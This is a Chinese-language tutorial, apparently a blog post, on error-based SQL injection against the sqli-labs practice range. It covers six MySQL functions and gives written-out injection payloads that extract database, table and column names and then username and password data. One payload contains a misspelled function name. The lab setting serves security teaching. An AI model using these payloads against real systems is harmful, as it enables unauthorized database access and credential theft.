目录

updatexml()函数

extractvalue()函数

floor()函数

exp()函数

geometrycollection()函数

multipoint()函数


构造参数?id=1" and 1=1--+  回显为You are in...... 

将参数改变一下,回显不同,说明此处存在sql注入漏洞

 探测一下表中字段的列数

updatexml()函数

我们先来测试一下 , updatexml()函数是否能正常报错

 以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

随后将测试使用的  'good'  换成查询语句即可

开始获取数据库名(limit  0,1 中的0  即从第几个开始)

开始获取表名

?id=1" and updatexml(1,concat('~'(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3)--+  

OK,想必你对updatexml()函数已经有了一定的了解,不妨动手试试替换语句获取字段名

你成功了吗 

 接下来获取字段中的数据,在这里需要分别获取username和password的值

 到这里对于updatexml()函数的学习基本完成。

extractvalue()函数

接下来简单了解一下extractvalue()函数的使用

 测试一下extractvalue()函数能否正常使用        ('anything'可以随意替换,'~'不能改变)

 接下来将   'good'   替换为查询语句即可。

 依次查询所有数据库名

?id=1" and extractvalue('anything',concat('~',(select schema_name from information_schema.schemata limit 4,1)))--+

 这样做可以直接获取当前的数据库名,换成version()即获取当前数据库版本

 接下来获取表名,慢慢来,不着急

接下来获取字段名

 获取字段中的数据

 username和password中的数据分别获取

floor()函数

接下来使用floor()函数学习基于报错的注入(这里简单介绍一下,详细介绍还请自行搜索)

这里提供一个链接,个人觉得很有帮助。

 要保证floor报错注入,那么必须保证查询的表必须大于三条数据,并且8.x>当前mysql版本>5.0

?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.`columns` group by x) as y)--+

 使用floor()函数获取当前数据库名  接下来将database()替换为查询语句即可

你不妨尝试自己构造一下

?id=1" and (select 1 from (select count(*),concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.`columns` group BY x) as y)--+

 你构造正确了吗。     改变limit 0,1参数依次获取所有数据库名

 获取表名

 获取字段名

 获取username字段内的数据

 获取password字段内的数据

到这里针对sqli-labs靶场基于报错的floor()函数使用告一段落,你可能还有很多不理解的东西,比如为什么要这么构造,这就全看你自己了,去仔细学习这个函数,去找其他的靶场练习这个函数,全部取决于你,你人生的高度,也取决于你。

exp()函数

接下来学习exp()函数

 

 使用exp()函数获取当前数据库名   在database()处替换为查询语句即可进行注入

 依次查询所有数据库名

 获取表名

 获取字段名

 获取username字段内的数据

 获取password字段内的数据

geometrycollection()函数

接下来学习geometrycollection()函数的简单使用

?id=0" and geometrycollectiont((select * from(select * from(select database())a)b));--+

获取 当前数据库名 在database()处替换为查询语句即可

 依次查询所有数据库名

 获取表名

 获取字段名

获取username字段内的数据 获取password字段内的数据

multipoint()函数

接下来学习multipoint()函数的简单使用

?id=0" and multipoint((select * from(select * from(select database())a)b));--+

 

 类似于geometrycollection()函数,获取当前数据库名  替换database()继续注入

依次获取所有数据库名 获取表名

 获取字段名

 获取username字段内的数据

 获取password字段内的数据

针对sqli-labs靶场基于报错的函数学习到此为止,当然还有很多其他基于报错的函数,另外以上六种函数的其他使用方法也有很多,在这里附上链接

祝君学有所成

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐